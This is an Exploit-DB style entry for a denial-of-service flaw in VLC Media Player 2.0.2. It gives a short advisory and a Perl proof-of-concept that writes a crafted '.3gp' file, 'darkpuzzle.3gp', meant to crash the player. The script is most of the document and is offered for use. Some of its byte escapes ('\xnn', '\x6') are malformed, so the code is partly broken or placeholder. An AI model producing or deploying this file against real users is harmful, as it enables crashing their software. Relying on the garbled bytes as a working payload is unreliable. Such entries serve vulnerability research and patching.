VideoLAN VLC Media Player 2.0.2 - '.3gp' File Divide-by-Zero Denial of Service

Author: Dark-Puzzle
type: dos
platform: windows
port: 
date_added: 2012-08-02 
date_updated: 2016-11-23 
verified: 1 
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application_url: http://www.exploit-db.comvlc-2.0.2-win32.exe

source: https://www.securityfocus.com/bid/54791/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 2.0.2 is vulnerable; other versions may also be affected.

#!/usr/bin/perl
my $a ="\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
my $b ="\x00\x00\x00\xnn\x66\x74\x79\x70\x33\x67\x70";
my $c ="\x62\x6\x74\x77\x65\x65\x6e\x20\x74\x68\x65\x20\x68\x65\x61\x64\x65\x72\x20\x61\x6e\x64\x20\x74\x68\x65\x20\x66\x6f\x6f\x74\x65\x72\x20\x74\x68\x65\x72\x65\x27\x73\x20\x64\x61\x72\x6b\x2d\x70\x75\x7a\x7a\x6c\x65";
my $d ="\x33\x67\x70";


my $file = "darkpuzzle.3gp";

open ($File, ">$file");
print $File $a,$b,$c,$d;
close ($File);